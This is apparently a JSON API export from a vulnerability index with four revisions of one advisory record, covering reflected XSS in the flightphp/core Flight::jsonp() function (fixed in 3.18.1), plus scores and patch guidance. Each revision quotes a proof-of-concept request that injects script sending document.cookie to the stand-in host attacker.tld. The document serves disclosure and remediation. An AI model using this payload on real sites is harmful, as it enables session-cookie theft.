{"items":[{"id":"NVI-00004856","kind":"vulnerability","title":"Flight has reflected XSS through an unvalidated JSONP callback in Flight::jsonp() ","revision":4,"unknowns":["Customer inventory, deployment, reachability and exploitation have not been inspected.","NVD lastModified does not establish freshness of every associated CPE record."],"lifecycle":"active","identifiers":["GHSA-fcx8-ph5r-mxr4","CVE-2026-42548"],"plain_summary":"OSV carries this publisher advisory for flightphp/core. This is an aggregated source copy; consult the original publisher and compare update dates.","review_status":"source_listed","control_topics":[],"public_actions":[{"summary":"The original advisory lists fixed boundaries 3.18.1 for flightphp/core. Confirm the publisher’s latest guidance.","source_ids":["sr-767c437627bac6ff4824f88091c37cc0"],"action_type":"vendor_patch","limitations":"Confirm current vendor support, compatibility and deployment evidence. This report has not tested a fix in your system.","current_supported_target":null},{"summary":"Identify the exact component and deployed version, examine the linked publisher’s conditions, and retain evidence of any mitigation.","source_ids":["sr-171591cae1adb87da08c009d810a6f30"],"action_type":"investigate","limitations":"Confirm current vendor support, compatibility and deployment evidence. This report has not tested a fix in your system.","current_supported_target":null}],"schema_version":"1.1.0","source_metrics":[{"kind":"CVSS","as_of":"2026-10-26T14:10:00.130Z","value":"8.6 HIGH (4.0)","meaning":"security-advisories@github.com severity; no combined Null risk score.","source_id":"sr-51c2b655e3d14534b0dc4d31c7c12679"},{"kind":"EPSS","as_of":"2026-11-01T12:00:16.000Z","value":"0.449%","meaning":"FIRST EPSS model v2026.06.15; exploitation probability over 30 days, percentile 0.39062. Missing scores are unknown.","source_id":"sr-171591cae1adb87da08c009d810a6f30"}],"why_it_matters":"Published affected context helps an owner decide what evidence to gather. This report has not examined your application.","related_sources":[{"id":"sr-767c437627bac6ff4824f88091c37cc0","url":"https://github.com/advisories/GHSA-fcx8-ph5r-mxr4","basis":"vendor_advisory","notes":"GitHub-origin advisory, CC-BY-4.0; OSV is an aggregate copy, not independent corroboration.","title":"GHSA-fcx8-ph5r-mxr4","publisher":"GitHub Advisory Database via OSV","observed_at":"2026-10-31T21:42:10.713Z"},{"id":"sr-51c2b655e3d14534b0dc4d31c7c12679","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-42548","basis":"official_catalog","notes":"This product uses data from the NVD API but is not endorsed or certified by the NVD.","title":"CVE-2026-42548","publisher":"NIST National Vulnerability Database","observed_at":"2026-11-01T07:24:02.489Z"},{"id":"sr-171591cae1adb87da08c009d810a6f30","url":"https://www.first.org/epss/data.html","basis":"official_catalog","notes":"FIRST EPSS; probability of exploitation in the next 30 days, not local compromise. Dataset date/model retained; FIRST services terms apply.","title":"CVE-2026-42548","publisher":"FIRST EPSS","observed_at":"2026-11-01T14:28:32.278Z"}],"affected_context":[{"certainty":"source_listed","source_ids":["sr-767c437627bac6ff4824f88091c37cc0"],"technology":"flightphp/core","known_exclusions":[],"conditions_summary":"### Summary\n`Flight::jsonp()` concatenates the `?jsonp=` query parameter directly into an `application/javascript` response body without validating that the value is a legal JavaScript identifier. An attacker can inject arbitrary JavaScript that executes in the response origin, enabling reflected cross-site scripting.\n\n### Affected code\n`flight/Engine.php` (≈ lines 1000-1013):\n\n```php\n$callback = $this->request()->query[$param];\n$this->response()\n    ->status($code)\n    ->header('Content-Type', 'application/javascript; charset=' . $charset)\n    ->write($callback . '(' . $json . ');');\n```\n\nNo regex or identifier validation is performed before the callback is written.\n\n### Proof of concept\nGiven any route that calls `Flight::jsonp($data)`:\n\n```\nGET /api?jsonp=;window.xss=function(d){fetch('https://attacker.tld/c='+d)};xss(document.cookie);//\n```\n\nReproduced response (`Content-Type: application/javascript`):\n\n```\n;window.xss=function(d){fetch('https://attacker.tld/c='+d)};xss(document.cookie);//({\"ok\":true,\"msg\":\"hello\"});\n```\n\nWhen the vulnerable endpoint is loaded via `` on a page controlled by the attacker, the injected JavaScript execu","public_affected_ranges":["ECOSYSTEM: introduced 0; fixed 3.18.1"]}],"null_published_at":"2026-11-03T17:49:18.504Z","source_updated_at":"2026-05-14T20:50:58.863Z","source_disclosed_at":"2026-05-06T21:34:15.000Z","is_synthetic_fixture":false,"null_last_reviewed_at":null,"public_change_summary":"Dated EPSS estimate updated; this is not a new disclosure or proof of exploitation.","null_first_observed_at":"2026-10-31T21:42:10.713Z"},{"id":"NVI-00004856","kind":"vulnerability","title":"Flight has reflected XSS through an unvalidated JSONP callback in Flight::jsonp() ","revision":3,"unknowns":["Customer inventory, deployment, reachability and exploitation have not been inspected.","NVD lastModified does not establish freshness of every associated CPE record."],"lifecycle":"active","identifiers":["GHSA-fcx8-ph5r-mxr4","CVE-2026-42548"],"plain_summary":"OSV carries this publisher advisory for flightphp/core. This is an aggregated source copy; consult the original publisher and compare update dates.","review_status":"source_listed","control_topics":[],"public_actions":[{"summary":"The original advisory lists fixed boundaries 3.18.1 for flightphp/core. Confirm the publisher’s latest guidance.","source_ids":["sr-767c437627bac6ff4824f88091c37cc0"],"action_type":"vendor_patch","limitations":"Confirm current vendor support, compatibility and deployment evidence. This report has not tested a fix in your system.","current_supported_target":null},{"summary":"Identify the exact component and deployed version, examine the linked publisher’s conditions, and retain evidence of any mitigation.","source_ids":["sr-1ac1fb4bfcbb15306abaa6678ed14f5f"],"action_type":"investigate","limitations":"Confirm current vendor support, compatibility and deployment evidence. This report has not tested a fix in your system.","current_supported_target":null}],"schema_version":"1.1.0","source_metrics":[{"kind":"CVSS","as_of":"2026-10-26T14:10:00.130Z","value":"8.6 HIGH (4.0)","meaning":"security-advisories@github.com severity; no combined Null risk score.","source_id":"sr-51c2b655e3d14534b0dc4d31c7c12679"},{"kind":"EPSS","as_of":"2026-10-31T12:00:27.000Z","value":"0.449%","meaning":"FIRST EPSS model v2026.06.15; exploitation probability over 30 days, percentile 0.39066. Missing scores are unknown.","source_id":"sr-1ac1fb4bfcbb15306abaa6678ed14f5f"}],"why_it_matters":"Published affected context helps an owner decide what evidence to gather. This report has not examined your application.","related_sources":[{"id":"sr-767c437627bac6ff4824f88091c37cc0","url":"https://github.com/advisories/GHSA-fcx8-ph5r-mxr4","basis":"vendor_advisory","notes":"GitHub-origin advisory, CC-BY-4.0; OSV is an aggregate copy, not independent corroboration.","title":"GHSA-fcx8-ph5r-mxr4","publisher":"GitHub Advisory Database via OSV","observed_at":"2026-10-31T21:42:10.713Z"},{"id":"sr-51c2b655e3d14534b0dc4d31c7c12679","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-42548","basis":"official_catalog","notes":"This product uses data from the NVD API but is not endorsed or certified by the NVD.","title":"CVE-2026-42548","publisher":"NIST National Vulnerability Database","observed_at":"2026-11-01T07:24:02.489Z"},{"id":"sr-1ac1fb4bfcbb15306abaa6678ed14f5f","url":"https://www.first.org/epss/data.html","basis":"official_catalog","notes":"FIRST EPSS; probability of exploitation in the next 30 days, not local compromise. Dataset date/model retained; FIRST services terms apply.","title":"CVE-2026-42548","publisher":"FIRST EPSS","observed_at":"2026-10-31T22:06:15.378Z"}],"affected_context":[{"certainty":"source_listed","source_ids":["sr-767c437627bac6ff4824f88091c37cc0"],"technology":"flightphp/core","known_exclusions":[],"conditions_summary":"### Summary\n`Flight::jsonp()` concatenates the `?jsonp=` query parameter directly into an `application/javascript` response body without validating that the value is a legal JavaScript identifier. An attacker can inject arbitrary JavaScript that executes in the response origin, enabling reflected cross-site scripting.\n\n### Affected code\n`flight/Engine.php` (≈ lines 1000-1013):\n\n```php\n$callback = $this->request()->query[$param];\n$this->response()\n    ->status($code)\n    ->header('Content-Type', 'application/javascript; charset=' . $charset)\n    ->write($callback . '(' . $json . ');');\n```\n\nNo regex or identifier validation is performed before the callback is written.\n\n### Proof of concept\nGiven any route that calls `Flight::jsonp($data)`:\n\n```\nGET /api?jsonp=;window.xss=function(d){fetch('https://attacker.tld/c='+d)};xss(document.cookie);//\n```\n\nReproduced response (`Content-Type: application/javascript`):\n\n```\n;window.xss=function(d){fetch('https://attacker.tld/c='+d)};xss(document.cookie);//({\"ok\":true,\"msg\":\"hello\"});\n```\n\nWhen the vulnerable endpoint is loaded via `` on a page controlled by the attacker, the injected JavaScript execu","public_affected_ranges":["ECOSYSTEM: introduced 0; fixed 3.18.1"]}],"null_published_at":"2026-11-02T20:21:10.256Z","source_updated_at":"2026-05-14T20:50:58.863Z","source_disclosed_at":"2026-05-06T21:34:15.000Z","is_synthetic_fixture":false,"null_last_reviewed_at":null,"public_change_summary":"Source facts changed; compare the preserved prior revision.","null_first_observed_at":"2026-10-31T21:42:10.713Z"},{"id":"NVI-00004856","kind":"vulnerability","title":"Flight has reflected XSS through an unvalidated JSONP callback in Flight::jsonp() ","revision":2,"unknowns":["Customer inventory, deployment, reachability and exploitation have not been inspected."],"lifecycle":"active","identifiers":["GHSA-fcx8-ph5r-mxr4","CVE-2026-42548"],"plain_summary":"OSV carries this publisher advisory for flightphp/core. This is an aggregated source copy; consult the original publisher and compare update dates.","review_status":"source_listed","control_topics":[],"public_actions":[{"summary":"The original advisory lists fixed boundaries 3.18.1 for flightphp/core. Confirm the publisher’s latest guidance.","source_ids":["sr-767c437627bac6ff4824f88091c37cc0"],"action_type":"vendor_patch","limitations":"Confirm current vendor support, compatibility and deployment evidence. This report has not tested a fix in your system.","current_supported_target":null},{"summary":"Identify the exact component and deployed version, examine the linked publisher’s conditions, and retain evidence of any mitigation.","source_ids":["sr-1ac1fb4bfcbb15306abaa6678ed14f5f"],"action_type":"investigate","limitations":"Confirm current vendor support, compatibility and deployment evidence. This report has not tested a fix in your system.","current_supported_target":null}],"schema_version":"1.1.0","source_metrics":[{"kind":"EPSS","as_of":"2026-10-31T12:00:27.000Z","value":"0.449%","meaning":"FIRST EPSS model v2026.06.15; exploitation probability over 30 days, percentile 0.39066. Missing scores are unknown.","source_id":"sr-1ac1fb4bfcbb15306abaa6678ed14f5f"}],"why_it_matters":"Published affected context helps an owner decide what evidence to gather. This report has not examined your application.","related_sources":[{"id":"sr-767c437627bac6ff4824f88091c37cc0","url":"https://github.com/advisories/GHSA-fcx8-ph5r-mxr4","basis":"vendor_advisory","notes":"GitHub-origin advisory, CC-BY-4.0; OSV is an aggregate copy, not independent corroboration.","title":"GHSA-fcx8-ph5r-mxr4","publisher":"GitHub Advisory Database via OSV","observed_at":"2026-10-31T21:42:10.713Z"},{"id":"sr-1ac1fb4bfcbb15306abaa6678ed14f5f","url":"https://www.first.org/epss/data.html","basis":"official_catalog","notes":"FIRST EPSS; probability of exploitation in the next 30 days, not local compromise. Dataset date/model retained; FIRST services terms apply.","title":"CVE-2026-42548","publisher":"FIRST EPSS","observed_at":"2026-10-31T22:06:15.378Z"}],"affected_context":[{"certainty":"source_listed","source_ids":["sr-767c437627bac6ff4824f88091c37cc0"],"technology":"flightphp/core","known_exclusions":[],"conditions_summary":"### Summary\n`Flight::jsonp()` concatenates the `?jsonp=` query parameter directly into an `application/javascript` response body without validating that the value is a legal JavaScript identifier. An attacker can inject arbitrary JavaScript that executes in the response origin, enabling reflected cross-site scripting.\n\n### Affected code\n`flight/Engine.php` (≈ lines 1000-1013):\n\n```php\n$callback = $this->request()->query[$param];\n$this->response()\n    ->status($code)\n    ->header('Content-Type', 'application/javascript; charset=' . $charset)\n    ->write($callback . '(' . $json . ');');\n```\n\nNo regex or identifier validation is performed before the callback is written.\n\n### Proof of concept\nGiven any route that calls `Flight::jsonp($data)`:\n\n```\nGET /api?jsonp=;window.xss=function(d){fetch('https://attacker.tld/c='+d)};xss(document.cookie);//\n```\n\nReproduced response (`Content-Type: application/javascript`):\n\n```\n;window.xss=function(d){fetch('https://attacker.tld/c='+d)};xss(document.cookie);//({\"ok\":true,\"msg\":\"hello\"});\n```\n\nWhen the vulnerable endpoint is loaded via `` on a page controlled by the attacker, the injected JavaScript execu","public_affected_ranges":["ECOSYSTEM: introduced 0; fixed 3.18.1"]}],"null_published_at":"2026-10-31T22:27:09.601Z","source_updated_at":"2026-05-14T20:50:58.863Z","source_disclosed_at":"2026-05-06T21:34:15.000Z","is_synthetic_fixture":false,"null_last_reviewed_at":null,"public_change_summary":"Dated EPSS estimate updated; this is not a new disclosure or proof of exploitation.","null_first_observed_at":"2026-10-31T21:42:10.713Z"},{"id":"NVI-00004856","kind":"vulnerability","title":"Flight has reflected XSS through an unvalidated JSONP callback in Flight::jsonp() ","revision":1,"unknowns":["Customer inventory, deployment, reachability and exploitation have not been inspected."],"lifecycle":"active","identifiers":["GHSA-fcx8-ph5r-mxr4","CVE-2026-42548"],"plain_summary":"OSV carries this publisher advisory for flightphp/core. This is an aggregated source copy; consult the original publisher and compare update dates.","review_status":"source_listed","control_topics":[],"public_actions":[{"summary":"The original advisory lists fixed boundaries 3.18.1 for flightphp/core. Confirm the publisher’s latest guidance.","source_ids":["sr-767c437627bac6ff4824f88091c37cc0"],"action_type":"vendor_patch","limitations":"Confirm current vendor support, compatibility and deployment evidence. This report has not tested a fix in your system.","current_supported_target":null}],"schema_version":"1.1.0","source_metrics":[],"why_it_matters":"Published affected context helps an owner decide what evidence to gather. This report has not examined your application.","related_sources":[{"id":"sr-767c437627bac6ff4824f88091c37cc0","url":"https://github.com/advisories/GHSA-fcx8-ph5r-mxr4","basis":"vendor_advisory","notes":"GitHub-origin advisory, CC-BY-4.0; OSV is an aggregate copy, not independent corroboration.","title":"GHSA-fcx8-ph5r-mxr4","publisher":"GitHub Advisory Database via OSV","observed_at":"2026-10-31T21:42:10.713Z"}],"affected_context":[{"certainty":"source_listed","source_ids":["sr-767c437627bac6ff4824f88091c37cc0"],"technology":"flightphp/core","known_exclusions":[],"conditions_summary":"### Summary\n`Flight::jsonp()` concatenates the `?jsonp=` query parameter directly into an `application/javascript` response body without validating that the value is a legal JavaScript identifier. An attacker can inject arbitrary JavaScript that executes in the response origin, enabling reflected cross-site scripting.\n\n### Affected code\n`flight/Engine.php` (≈ lines 1000-1013):\n\n```php\n$callback = $this->request()->query[$param];\n$this->response()\n    ->status($code)\n    ->header('Content-Type', 'application/javascript; charset=' . $charset)\n    ->write($callback . '(' . $json . ');');\n```\n\nNo regex or identifier validation is performed before the callback is written.\n\n### Proof of concept\nGiven any route that calls `Flight::jsonp($data)`:\n\n```\nGET /api?jsonp=;window.xss=function(d){fetch('https://attacker.tld/c='+d)};xss(document.cookie);//\n```\n\nReproduced response (`Content-Type: application/javascript`):\n\n```\n;window.xss=function(d){fetch('https://attacker.tld/c='+d)};xss(document.cookie);//({\"ok\":true,\"msg\":\"hello\"});\n```\n\nWhen the vulnerable endpoint is loaded via `` on a page controlled by the attacker, the injected JavaScript execu","public_affected_ranges":["ECOSYSTEM: introduced 0; fixed 3.18.1"]}],"null_published_at":"2026-10-31T22:12:57.145Z","source_updated_at":"2026-05-14T20:50:58.863Z","source_disclosed_at":"2026-05-06T21:34:15.000Z","is_synthetic_fixture":false,"null_last_reviewed_at":null,"public_change_summary":"First indexed by Null; source disclosure date is shown separately.","null_first_observed_at":"2026-10-31T21:42:10.713Z"}],"next_cursor":null,"snapshot_revision":"42594"}